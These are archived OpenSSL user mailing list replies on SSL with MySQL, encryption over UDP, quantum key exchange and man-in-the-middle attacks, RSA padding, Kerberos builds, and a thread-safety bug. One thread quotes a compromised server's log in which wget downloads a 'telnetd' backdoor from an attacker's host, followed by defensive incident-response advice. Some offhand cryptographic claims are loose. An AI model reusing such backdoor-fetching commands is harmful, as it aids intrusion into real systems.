Re: First posting NEWBEE
MySQL would have to implement this. I believe there is some support of SSL encrypted connections in MySQL. Try here first: http://dev.mysql.com/doc/refman/5.0/en/secure-connections.html and if you still have questions, try the MySQL mailing lists. Andrew Thomas Fitzgerald wrote: Nobody knows the answer to this question? Tom Fitzgerald, CIO POS International, Inc. Technical Support is available at http://www.posintl.com/support/docs.htm or 800-646-4767 -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Thomas Fitzgerald Sent: Wednesday, February 22, 2006 11:16 AM To: openssl-users@openssl.org Subject: First posting NEWBEE I have created a program in Delphi that accesses a MYSQL database on an ISP's server. My question is: Will open-ssl allow me to use a security certificate between my application and the MYSQL server? If the answer is yes, could someone point me in the right direction, so I can learn how to implement Open-SSL with my application. http://www.posintl.com/images/1985logo.gif Thomas W. Fitzgerald Thomas W. Fitzgerald fitz mailto:[EMAIL PROTECTED] mailto:[EMAIL PROTECTED] @posintl.com POS International, Inc. 800-646-4767 http://www.posintl.com/ www.posintl.com _ ella for Spam Control has removed 15094 Spam messages and set aside 1254 Newsletters for me You can use it too - and it's FREE! www.ellaforspam.com __ OpenSSL Project http://www.openssl.org User Support Mailing Listopenssl-users@openssl.org Automated List Manager [EMAIL PROTECTED]
Re: Even CA's make mistakes..
I'm no expert, so please verify anything that you don't trust here. Block algorithms typically don't operate the way a cube operates. They are named a block algorithm because they operate on a single block in, single block out. They have the same starting point and rules for each block. Certainly there's more than one way to go about decoding a block to reach the same answer. If the method works for the all possible blocks then you could say you have a key for the particular scenario. Logically though the only one that concerns you is the easiest method to find. Currently no encryption algorithm is unbreakable. They are just sufficiently difficult to break with relation to the data they protect. It's absolutely possible to determine the session key for any algorithm given sufficient plain and encrypted data and enough computing power. The only variables are how much sample data and computing power you need. Andrew Alok wrote: Maybe am a bit off my head but given a rubik cube, and a fixed axes of orientation defining it in space, are there more than one ways to get the cube into a particular formation? (not that I can solve the cube manually either...) Are block algorithms not closer to tensors? sorry if this sounds stupid though.. -thanks Alok - Original Message - From: Bernhard Froehlich [EMAIL PROTECTED] To: openssl-users@openssl.org Sent: Wednesday, January 19, 2005 6:10 AM Subject: Re: Even CA's make mistakes.. Alok wrote: [...] lets take PKI out for a moment and talk simple block encryption, given that you know a. the message or the 1st few bits in it b. the set of possible block algorithms used to encrypt Can you determine session key? If it would be known to be possible this would not be a algorithm in wide use. This kind of attack is well known as known plaintext attack. Ted ;) -- PGP Public Key Information Download complete Key from http://www.convey.de/ted/tedkey_convey.asc Key fingerprint = 31B0 E029 BCF9 6605 DAC1 B2E1 0CC8 70F4 7AFB 8D26 __ OpenSSL Project http://www.openssl.org User Support Mailing Listopenssl-users@openssl.org Automated List Manager [EMAIL PROTECTED] __ OpenSSL Project http://www.openssl.org User Support Mailing Listopenssl-users@openssl.org Automated List Manager [EMAIL PROTECTED]
Re: SSL (or alike) over UDP
Shaun Lipscombe wrote: * Ben Laurie wrote: Peter 'Luna' Runestig wrote: On Fri, 14 Jan 2005 21:10 pm, Eduardo Pérez wrote: Do you know if it's possible to use SSL (or some other protocol) over UDP running totally in user space. The OpenVPN project http://openvpn.net/ runs OpenSSL over UDP, works great. No, it doesn't. It uses SSL do bootstrap UDP connections. It says in the book Web Security Commerce by Simson Garfinkel, Gene Spafford that SSL cannot use UDP. I read that bit just the other day :-) The question is a little vague. I don't know of anything that you can just plug in that does this (I'm not very knowledgeable on the subject though). If you mean can a system be built, then it can. You can arrange for order of arrival and guaranteed delivery above UDP and have basically rebuilt TCP on top of UDP. So in that respect, with some work anything that can work over TCP can work over UDP. It would be counter productive to do this though unless your main goal was to work around a system that wouldn't pass IP packets with the protocol set to TCP. If you want to work with UDPs lower overhead by accepting lost and out of order packets then you need to use an encryption method that doesn't alter its state based on the data flow (i.e. RC4 would be out). SSL (usually?) uses public key encryption to exchange a shared secret that's used in a symmetric algorithm for the remainder of the conversation. A straightforward method might be to establish a TCP connection for this key exchange, and then use a block cipher (blowfish perhaps) to encrypt individual UDP packets. Since each UDP packet would be encrypted individually a lost or out of order packet would not matter to the decryption process. I don't know how secure blowfish would be using the same key over and over, and certainly the more data you pass encrypted with the same key the easier it will become to analyze and break. If you're worried about it you can keep the TCP connection open and exchange new symmetric keys occassionally. If you look into the encryption used for wireless communication (I'm sure there's a couple RFCs on this) that system should adapt to UDP transmissions without much work. Use the newest standard, since the older one was fairly easy to break if I recall. Andrew __ OpenSSL Project http://www.openssl.org User Support Mailing Listopenssl-users@openssl.org Automated List Manager [EMAIL PROTECTED]
Re: Quantum Encryption no protection against man in the middle attack?
David Schwartz wrote: 2) Streams of entangled particles can generate shared secrets where none previously existed. No, not really, since the scheme described on page 80 of the Jan 2005 Scientific American looks vulnerable to a man-in-the-middle attack. In that case, it generates two shared secrets. Either way, shared secrets are generated where none previously existed. I'm *fairly* sure that wrt shared secrets if none previously existed then there is NO way to prevent a man-in-the-middle attack, as there is no way to authenticate your correspondant, however, I am willing to listen to arguments. In this case, it's not an attack. You have a secure channel to the MITM. All that I said is that a shared secret is generated, not that you know who you share that secret with. And, of course, either of the parties to a secret can share it if they want. You might wonder what good a shared secret is if you have no idea who it's with. The idea is that you authenticate the endpoint right after you establish the shared secret, before you send any sensitive information. The MITM cannot keep the shared secrets the same with both endpoints, so you simply confirm equivalence at the endpoints as the next step. How would you know you were verifying the shared secret with the desired endpoint and not again verifying it with the man in the middle? I believe this problem is unsolvable without advanced knowledge of the desired remote peer. The advantage of quantum encryption is a guarantee that if and only if the initial connection can be guaranteed, then all future data can be guaranteed secure. Establishing (and re-establishing if the connection is broken) the authenticity of the remote peer initially can never be guaranteed, but practically speaking you can pre-distribute some piece of information to the peers in such a way that you're reasonably assured of its secrecy. Andrew For an example not involving any quantum encryption, consider using anonymous DH to establish a connection. Then, over the connection, each end sends the shared secret encrypted with its public key. Each end then validates the signatures and that the shared secrets match. In other words, you do MITM detection as a separate step. The advantage over using ADH in this same application is the forward security. You are protected against future compromises of the keys involved and passive interception. This is a serious issue with public/private keys because it is *always* possible to break such a key with sufficient computational power in an automated, foolproof way. DS __ OpenSSL Project http://www.openssl.org User Support Mailing Listopenssl-users@openssl.org Automated List Manager [EMAIL PROTECTED] __ OpenSSL Project http://www.openssl.org User Support Mailing Listopenssl-users@openssl.org Automated List Manager [EMAIL PROTECTED]
Re: Quantum Encryption no protection against man in the middle attack?
Do you agree that: 1) If there exists a shared secret, quantum encryption can provide protection, now and in the future, against MITM attacks or passive interception. 2) Streams of entangled particles can generate shared secrets where none previously existed. DS I think the flaw here is in authentication. Given a quantum encrypted physical link where neither side is assured of the others authenticity - a link in the initial state, there's no way that nodes A and B can tell the difference between: 1) A B and 2) A - C -- B In the first situation A and B generate a shared secret. In the second, A and C generate a shared secret and C and B generate a shared secret. A never knew who B was and doesn't know who B is now. There's only A -- C . If C is a node controlled by a malicious party (a man in the middle) then your security is compromised. In order to avoid this you must establish a shared secret key in some way between A and B without C knowing - and you must be certain that it's really only A and B that are privy to this key. I don't think this is any different than public key systems in this limitation though. This is why web browsers are distributed with a set of root certificates, isn't it? In practice I think this will mean that you do some initial verification, perhaps exchange a physical card with a shared key on it between sites, and then you're up and running secure. If the link security is broken, you must re-secure the link and start over. If you attempt to reuse the same key despite multiple intrusion detections you'll give the attacker the chance to deduce the key. It seems the danger here is that detected errors could be a physical problem on the line or it could be an attacker selectively cutting in attempting to guess bits of the key - it's important to have an error free line to ensure security. Andrew __ OpenSSL Project http://www.openssl.org User Support Mailing Listopenssl-users@openssl.org Automated List Manager [EMAIL PROTECTED] __ OpenSSL Project http://www.openssl.org User Support Mailing Listopenssl-users@openssl.org Automated List Manager [EMAIL PROTECTED]
Re: data dependence with md5/64-bit RSA?
It sounds like the data is being padded (perhaps automatically). There are several standards for padding data prior to applying RSA encryption. It seems that whatever padding is being used is adding about 10 bytes. One of the PKCS standards should be able to explain everything that's happening here. You can find the papers on the RSA labs site I think. Some other clarifications here: You can only encrypt a chunk of data (after all pre-processing including padding) that is up to the numerical value of the modulus - 1 . If you have a 64 bit key and you guarantee the highest order bit is 1, then your modulus is only guaranteed to be greater than 2^63 . Since you don't know how much greater, you can only use this modulus on 63 bits of data (again post processing, padding, etc). If you don't need security you may not want to use RSA - especially through a wrapper API. It will be slower, and as mentioned you actually have no security anyway. Plus you'll have to deal with all the quirks of a padded block public key cipher :) If you do want to use the encryption and have it work, you'll want to understand: The RSA algorithm Key generation Key management Padding methods A mistake in any of these could easily leave you in the situation of spending a lot of effort and time to secure your data only to find out that bits of the private key leaked out with the public , or that your random number source used for key generation is basing its' values on the clock - the same clock that was used to timestamp your file, or some other such subtlety that immediately and completely invalidates your security. It's not really plug-and-play :) Andrew Jesse Hammons wrote: Jesse Hammons wrote: So to clarify: If I generate a 65-bit key, will I be able to use that 65-bit key to sign any 64-bit value? Yes, but Actually, I have found the answer to be no :-) a 65 bit key won't be very secure AT ALL, it will be very easy to factor a modulus that small. Security is not my goal. This is more of a theoretical exercise that happens to have a practical application for me. Bottom line: asymmetrical (public-key) encryption has a fairly large minimum block size that actually increases as key size increases. Indeed. I have found experimentally that: * The minimum signable data quantity in OpenSSL is 1 byte * The minimum size RSA key that can be used to sign 1 byte is 89 bits * A signature created using a 64-bit RSA key would create a number 64 bits long, BUT: - This is not possible to do in OpenSSL because the maximum signable quantity for a 64 bit RSA key is only a few bits, and OpenSSL input/output is done on byte boundaries Do those number sound right? Thanks, -Jesse __ OpenSSL Project http://www.openssl.org User Support Mailing List[EMAIL PROTECTED] Automated List Manager [EMAIL PROTECTED] __ OpenSSL Project http://www.openssl.org User Support Mailing List[EMAIL PROTECTED] Automated List Manager [EMAIL PROTECTED]
Re: RSA Key Uniqueness
I don't see that you should be using public key encryption here. Why don't you just make a secret key, encrypt your data, send the data and a reference along with it, and output the secret key and the reference? Public key operations are slow. If you intend to encrypt an entire file with the public key alg (as opposed to encrypting just a secret key that's then used to encrypt the data) you can expect a lot of time spent on compression and decompression. One RSA implementation I've used does about 30,000 bytes/sec with a 1024 bit key on a p3 1.2 ghz. You'll also need to pad any data - which is 2:1 padding to data (varies by padding method I think?), so you end up with ~3x the original size. The usual operation is to use a shared secret key to encrypt the actual bulk of the data you want to transfer. The public key is used to encrypt the shared secret key, since you need a way to transfer that key from location A - location B through hostile territory. In your situation the secret key stays in a single location, so there's no need to provide security to transport it anywhere. Additionally you might consider ways to hide the size and source of data. Also, by linking the public key with the file you give the person running the server the ability to replace your data. They take a replacement file, encrypt it with the public key you gave them for reference, and now you get back whatever they encrypted. If you use a block encryption method they can replace individual blocks. If someone knows a bit about you they can probably use your habits, the current situation, and the size of the file to make a pretty good guess as to what's inside - which can give them a good idea what they could replace it with that might cause the most problems for you. Andrew Mann Andrew Walrond wrote: On Thursday 18 Mar 2004 16:14, Gerrit E.G. 'Insh_Allah' Hobbelt wrote: Hi Andrew, How unique is it? Is it statistically improbable that I could generate the same key twice? If you have properly seeded your random generator, generated (RSA) keys should be quite unique. Here is a simple description of WhiteWater which explains what I'm doing. You'll see why I asked the question, and it perhaps answers some of your counter-questions. Comments/criticism gratefully accepted... Whitewater is a cross between bittorrent and an anonymous file server, and handles multiple files (like the whole package source tree in rubyx) Basically, there are two binaries, wws - White Water Server wwc - White Water Client wws is a daemon which provides the data store, and wwc is used to talk to a wws. First, understand asymetric cryptography. You generate a key-pair. The public key is used to encrypt (lock) data. It can only be decrypted (unlocked) with the private key. You can extract the public key from the private key when you need it, but obviously not the other way round. You can give out your public key to anyone who needs to send you encrypted data, but only you can decrypt it with the private key. To 'distribute' a file (make it available from a wws) you would do wwc --server ww.rubyx.org --distribute myfile private-key wwc generates a new (unique) key-pair and encrypts the file using the public key. It then makes a connection to the wws running on ww.rubyx.org, and uploads the encrypted file to the wws server, along with the public key. The wws server splits the file into lots of small chunks (currently 50k each; testing will provide optimal size) and calculates an md5sum for each chunk. It then stores the chunks in it's data cache, accessible via their md5sums. It also stores the array of md5sums needed to recreate the entire encrypted file in a catalogue hash, referenced via it's public key. wws now stores the data, which it can reference with the public key, but it has no idea what the data is and has no means of decrypting it. It is a true anonymous fileserver; Fully obfuscated and with plausible deniability :) wwc then sends the private key to stdout. In the example above, the private key is stored in the file private-key. At no time did the private key leave wwc running on the local machine. To access a file, you supply the private key to wwc. wwc --server ww.rubyx.org --get private-key myfile wwc extracts the public key from the private key, connects to the wws on ww.rubyx.org and sends it the public key. wws looks up the public key in the catalogue hash and returns the array of md5sums of the chunks required to reconstitute the file. wwc, for each chunk/md5sum then requests the ip of a cooperating server which has that chunk from the wws on ww.rubyx.org. It contacts each of these other wws servers and requests the relevant chunk (by specifying the md5sum). Note these downloads are done in parallel so you should always achieve near the maximum download speed according to your available bandwidth. (As with bittorrent, the more
Re: Kerberos support?
Jeff Fulmer wrote: Hi, I'm the author of siege, an open source http regression tester. I recently started to recieve complaints from users on Red Hat 9.0 systems. Apparently openssl is built with kerberos support on red hat 9.0 and it requires krb5.h which is in /usr/kerberos/include How can I detect if openssl was built with kerberos support? I don't know how to detect if openssl was built with kerberos support, but I had to define OPENSSL_NO_KRB5 (-DOPENSSL_NO_KRB5) to build my own openssl using app on RedHat 9. I thought it was the other way around - that there were unresolved kerberos related symbols - but I may be mistaken. Since I don't use Kerberos and don't really care if support is there or not, that compile define seems to work fine. It works fine on RedHat 7.X, 8 and 9, though I'm not sure it does anything at all on the most up to date errata versions distributed with 7 or 8. Second Red Hat 9.0 users are experiencing crashes when siege is using https protocol, ie, openssl libs. Several people have experienced this problem but were unable to replicate it on another system. Is there a known issue with openssl on Red Hat 9.0? I have not yet recieved a meaningful stacktrace. I had problems on RedHat 9 sharing a SSL_CTX between threads. I was establishing multiple simultaneous/overlapping connections to a closed source product on a remote machine - which was also RedHat 9. It turns out the remote machine was also having problems when my client was sharing contexts and I was never really able to track down what was going on - however creating a new context for each connection worked flawlessly, so that's what it's doing at the moment. Some time later the company that made the product instructed us to add LD_ASSUME_KERNEL=2.4.1 to the environment prior to startup as it apparently forces use of the old threading model. I can't really say wether this resolved the original problems or not since it was done after we had moved to production and we're not going to rollback the functional workaround to find out :) That's probably worth trying though, and I'd be interested in hearing if it helps or not. Andrew Cheers, Jeff __ OpenSSL Project http://www.openssl.org User Support Mailing List[EMAIL PROTECTED] Automated List Manager [EMAIL PROTECTED]
Re: 0.9.7c Vulnerability??
If possible, put a system capable of logging all traffic in a position
to record everything going to that system (and everything coming out if
that's not too much data). A hub (not a switch), or a switch that be
configured to echo all traffic out to a specific port will do. The
recording system doesn't need a public IP address - unless you want to
be able to get in from remote. Either way shut off every service on
that system with the possible exception of ssh - and maybe move the port
on that for good measure.
tcpdump should be able to record the information you'll need. Use
-s65535 to be sure you capture all the payload data and -w to write out
to a file in a format that can later be parsed by tcpdump, ethereal or
some other tool.
If it happens again you can dig through the logs and find out what was
sent, then you can probably take that to the apache list, and they'll
either tell you what's likely wrong, or they'll go into a frenzy because
there's a previously undiscovered exploit in use on the current version :)
In the mean time, triple check the directory permissions in the apache
configuration. Make sure they're not able to just plain execute wget
and/or a shell without crashing anything at all :)
Andrew
Fred Merritt wrote:
Michael, Andrew, Fred, and Mark,
first of all,
thank you for your rapid response to my append to this list. All your
comments were constructive, and helpful.
Do I have any reason to think that this is an OpenSSL bug?
No - I have my doubts. If this was an OpenSSL bug in the wild, I am
sure that this list would be full of appends about it. What makes me
think it might be, is
1. The quoted(might be false trail) modus operandi of the hackers -
use an openssl scanner, get in and then do a root exploit . . .
2. The first attack followed this MO impeccably, but I only have
myself to blame for not being up to date. The first attack
downloaded files - like telnet, and some backdoors to /tmp. All
files were nobody nogroup. A root exploit was downloaded, and my
machine was theirs.
3. The system was rebuilt, except for the Apache sub-system, and was
not attacked . No data files from the original incarnation of the
system were installed on the machine. All code restored was from
the development site, and could not possibly have been corrupted.
The system was online for 3 days without Apache/OpenSSL. Apache
without OpenSSL was up and down several times. Nothing was
attacked. Within two hours of the Apache/OpenSSL service being
restored, the system was attacked in the manner described in the
original append.
4. In the second attack, the kernel was protected from the root
exploit to which it was vulnerable in the first attack. In this
attack, files were also downloaded to /tmp, but the crackers were
unable to gain root access(I think!!), at least I have no evidence
of this. All the files down loaded were once again user/group
nobody/nogroup. there were some traces of the attacker trying to
damage files, but getting rejected due to not having the
appropriate permissions.
5. The attackers in their publicity on their own site do not (apart
from their claims of omnipotency) claim to be capable of attacking
0.9.7c it may be that their particular scanner was capable of
attacking 9.7c, be they themselves were not aware of it (if (it
was if they were) { I'm sure there would have been a lot of noise})
6. Information in the main server log is written by Apache, or one of
it's children(assumption). Yes it looks like a wget, but I think
the wget was issued by the exploited Apache system to download
the root backdoor.
When we cleaned up the system, we bought a new disk. All the new stuff
went on the new disk from external sources. To be honest the old disk
was still in the machine, but not mounted. Of course I may have
problems elsewhere, but I haven't found evidence, and I'm still looking
pretty hard. No unnecessary services are running, and those that are
running show no sign of attack. My business partners are pushing pretty
hard to put the system back online, and at some point, we have to put a
toe in the water.
We had CGI scripts in the system, but only one or two for specialised
parts of the system.. The were in situ for the first attack, but hadn't
been rebuilt when the second attack took place. The CGI directory is
still empty, except for the demo/test stuff originally put there by Apache.
What do I think might have happened??
* I might have fubar'd the rebuild of the supposedly immune
system, and left an unprotected system.
* 0.9.7c may have a vulnerability not yet recognised by the
attackers(as proclaimed by their silence).
* Something completely different happened.
There is no evidence at all in the logs. The main server
Re: 0.9.7c Vulnerability??
Do you have any reason to think this is an OpenSSL bug rather than an Apache, PHP, or other module bug/configuration error? Or even another service? When you cleaned up the system and presumably restored your data, did you check to make sure that there weren't any malicious or altered php scripts (or other cgi scripts) in your backup that would allow the person who put them there the first time to get back in? These are all recent versions of the software you've listed, and my suspicion is that you have problems elsewhere. Check the access logs at 20:41:46 and just prior and see what request may have triggered that. Maybe also try the apache httpd lists, since even if it is a problem in openssl, you're going to need to track through apache before you can figure out where it may be. Don't just do the same thing as last time and put it back up unless you mean to make a honeypot :) Andrew Fred Merritt wrote: Our site has recently been successfully attacked twice. The first time we probably deserved it, as we running on old software, and hadn't been fixing vulnerabilities regularly. So we reformatted the disks, installed Apache 1.3.29, PHP 4.3.4, and Openssl 0.9.7c, and patched the kernel bug that let the swines get root after the first time they got in. Feeling more secure, we brought Apache up, and carried with business. Just a couple of hours after bringing up Apache, we got the following entries in the main server error log: [Sat Dec 20 17:49:24 2003] [notice] Apache/1.3.29 (Unix) PHP/4.3.4 mod_ssl/2.8.16 OpenSSL/0.9.7c configured -- resuming normal operations [Sat Dec 20 17:49:24 2003] [notice] Accept mutex: sysvsem (Default: sysvsem) --20:41:46-- http://www.viperhaxu.hpg.com.br/telnetd = `telnetd' Resolving www.viperhaxu.hpg.com.br... done. Connecting to www.viperhaxu.hpg.com.br[200.226.137.9]:80... connected. HTTP request sent, awaiting response... 302 Found Location: http://www.viperhaxu.hpg.ig.com.br/telnetd [following] --20:41:47-- http://www.viperhaxu.hpg.ig.com.br/telnetd = `telnetd' Resolving www.viperhaxu.hpg.ig.com.br... done. Connecting to www.viperhaxu.hpg.ig.com.br[200.226.137.12]:80... connected. HTTP request sent, awaiting response... 200 OK Length: 170,613 [text/plain] 0K .. .. .. .. .. 30% 52.74 KB/s 50K .. .. .. .. .. 60% 187.27 KB/s 100K .. .. .. .. .. 90% 49.55 KB/s 150K .. .. 100% 156.74 KB/s 20:41:50 (71.51 KB/s) - `telnetd' saved [170613/170613] snip Which was more or less the same way the first attack started. Since all the information I can find on the net seems to say 0.9.7c fixes the known vulnerabilities, and even the hackers themselves seem to think they are only capable of breaking 0.9.6x versions(they are very proud, they publish their photographs on the net, and give detailed instructions on how to exploit), I am wondering if we somehow didn't do the build correctly. Apache certainly seems to think the build was o.k. from the log, and the libssl.so that was loaded has 0.9.7c everywhere inside it. I am ready to restart Apache once again, but would be grateful on any advice as to the best way to proceed - I really don't feel like reinstalling from scratch a 3rd time. Best regards. . . Fred. __ OpenSSL Project http://www.openssl.org User Support Mailing List[EMAIL PROTECTED] Automated List Manager [EMAIL PROTECTED] __ OpenSSL Project http://www.openssl.org User Support Mailing List[EMAIL PROTECTED] Automated List Manager [EMAIL PROTECTED]
Re: Blowfish/Base64 data from file
You're storing, reading or passing the data incorrectly. There's nothing magic about encryption or writing to a file that makes them incompatible. Go back and debug. Andrew Mike Maloy wrote: Okay, next irritant: If I encrypt a chunk of data, and store it in a list node, I can decrypt it with no problem given the proper password. If I read (what I interpret as) the same chunk of data that has been saved to and then read from a file, and decrypt that with the password, the data seems to be decrypting improperly. Peculiar, no??? Advice, yes??? Thanks in advance! GOD BLESS! ---MIKEG __ OpenSSL Project http://www.openssl.org User Support Mailing List[EMAIL PROTECTED] Automated List Manager [EMAIL PROTECTED] __ OpenSSL Project http://www.openssl.org User Support Mailing List[EMAIL PROTECTED] Automated List Manager [EMAIL PROTECTED]
Re: RSA Encryption
The maximum amount of data you can encrypt with a 1024 bit RSA key is 1024 bits of data = 128 bytes. I think PKCS1 padding adds at least 10 bytes before encoding (I might be off on this number?). You want to use padding if you're concerned about the security of your data (pretty much you want to use padding or you wouldn't use RSA anyway). Though you might be able to get away without padding if you're essentially sending random data anyway, since I think the purpose of the padding is to protect against formatted data that can either be guessed at or give clues to a would be attacker? Generally, you can either encode your data in a more compact form and if you need hex translate it out on the other side, or you can break it into multiple blocks, encrypt and send each block. Andrew Mann [EMAIL PROTECTED] wrote: Hi.. I am using Crypto library of openSSL for RSA encryption and decryption. I am generating RSA parameters for public modulus size of 1024. if I use RSA_public_encrypt() using PKCS1 padding and give an input string to encrypt of lenght 128, I get the following error: 5977:error:0406D06E:rsa routines:RSA_padding_add_PKCS1_type_2:data too large for key size:rsa_pk1.c:151: Is there any way I can encrypt a string of length 128 with the same key size ? I want this because, I need to encrypt a random number of 512 bits which when represented in Hex gives me a string of 128 bytes. Please let me know if there is any work around. Thanks in Advance, Aneel. __ OpenSSL Project http://www.openssl.org User Support Mailing List[EMAIL PROTECTED] Automated List Manager [EMAIL PROTECTED] __ OpenSSL Project http://www.openssl.org User Support Mailing List[EMAIL PROTECTED] Automated List Manager [EMAIL PROTECTED]
Re: SSL_CTX_new race condition
the pid which will probably be the same for all threads :) In your version of OpenSSl check if in cryptlib.c the CRYPTO_thread_id function returns getpid() when in SOLARIS. You will notice that id_callback will be NULL if you don't set an id_callback via CRYPTO_set_id_callback. If this is the case, then this is probably your problem. Make sure that you provide a sane implementation to generate IDs by calling CRYPT_set_id_callback function when you are initializing the SSL context (you need to this only once per process obviously). You can use pthreads_thread_id(void ); or solaris_thread_id(void ); (in crypto/threads/th-locks.c ) functions as the callback functions to generate the hash for thread slot ids. For example: // Set function to create hash for slot ID CRYPTO_set_id_callback(solaris_thread_id); I hope this helps Emilio -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] Behalf Of Andrew Mann Sent: Monday, September 08, 2003 9:35 AM To: [EMAIL PROTECTED]; [EMAIL PROTECTED] Subject: SSL_CTX_new race condition I appologize if this comes through twice. I haven't seen the first come through the list yet and it was sent Friday, so I presume it's been gobbled up somewhere :) I'm working on an application that needs to work with a lot of simultaneous SSL connections to the same remote host. It spawns a thread for each connection and handles each connection entirely in that thread. These connections each last anywhere from half a second to a minute, and as soon as the connection is finished, it's closed and the thread is terminated (and often another thread started to process another request). The OpenSSL library is initialized prior to any connection handling thread starting. Apparently thread safety is a FAQ, but the answer on the www.openssl.org FAQ and related links falls far short of helpful and borders on just plain inaccurate. Initially I tried using a single SSL_CTX for all connections, so that while no SSL objects were being shared across threads, one SSL_CTX object was being used to all calls to SSL_new(). This failed miserably. SSL connections failed randomly and frequently during the negotation phase. The SSL_CTX ended up getting freed on some test runs during the middle of the run. Although there are suggestions that a single SSL_CTX is meant to be shared between multiple connections, there isn't any specific mention of wether that is supposed to work with connections handled by different threads, so I suppose it's not (well it appears not to at least). I moved to making a new SSL_CTX for each thread as well. This had somewhat better luck, but randomly during startup one of the calls to SSL_CTX_new() would fail with error:140A90A1:SSL routines:SSL_CTX_new:library has no ciphers. After a bit of digging it appears that SSL_CTX_new() is not really threadsafe either. It calls ssl_create_cipher_list() which checks the status of an unmutexed global variable init_ciphers (ssl/ssl_ciph.c). If the value is its initialization value of 1, then load_ciphers() is called. load_ciphers() sets init_ciphers to 0 and then procedes to load various ciphers for the library to use. Unfortunately, since this value isn't protected by a mutex it's not unlikely that in the event of two threads racing through SSL_CTX_new() that the lead thread will clear init_ciphers and then be interrupted before it can actually perform any loading. For the time being I've worked around this by creating a SSL_CTX prior to starting any threads that has no point other than to prompt cipher loading before any potential race conditions. Fixes: I'm not sure about the SSL_CTX shared between threads, but it would be nice if the settings (CA files particularly) didn't have to be loaded from disk for each thread spawned in this scenario. Protect init_ciphers with a mutex. Or at least move init_ciphers=0 to the end of the load_ciphers() function so that the worst case condition becomes multiple calls to load_ciphers() instead of a tiny chance of multiple calls and a larger chance of alibrary has no ciphers error. Andrew __ OpenSSL Project http://www.openssl.org User Support Mailing List[EMAIL PROTECTED] Automated List Manager [EMAIL PROTECTED] __ OpenSSL Project http://www.openssl.org User Support Mailing List[EMAIL PROTECTED] Automated List Manager [EMAIL PROTECTED] __ OpenSSL Project http://www.openssl.org User Support Mailing List[EMAIL PROTECTED] Automated List Manager [EMAIL PROTECTED]
